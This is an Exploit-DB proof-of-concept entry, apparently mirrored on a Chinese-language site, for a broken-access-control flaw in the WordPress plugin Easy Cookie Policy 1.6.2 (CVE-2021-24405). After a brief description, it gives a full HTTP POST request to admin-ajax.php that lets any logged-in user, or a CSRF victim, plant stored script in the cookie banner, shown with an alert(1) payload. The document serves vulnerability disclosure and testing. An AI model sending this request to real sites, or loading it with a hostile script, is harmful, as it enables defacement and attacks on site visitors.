WordPress Plugin Easy Cookie Policy 1.6.2 – Broken Access Control to Stored XSS

  • 作者: 0xB9
    日期: 2022-03-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50849/
  • # Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
    # Date: 2/27/2021
    # Author: 0xB9
    # Software Link: https://wordpress.org/plugins/easy-cookies-policy/
    # Version: 1.6.2
    # Tested on: Windows 10
    # CVE: CVE-2021-24405
    
    1. Description:
    Broken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php.
    If users can't register, this can be done through CSRF.
    
    2. Proof of Concept:
    POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
    Accept: application/json, text/javascript, /; q=0.01
    Accept-Language: en-US,en;q=0.5
    Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 226
    Origin: http://localhost
    Connection: keep-alive
    Host: localhost
    Cookie: [Any authenticated user]
    
    action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd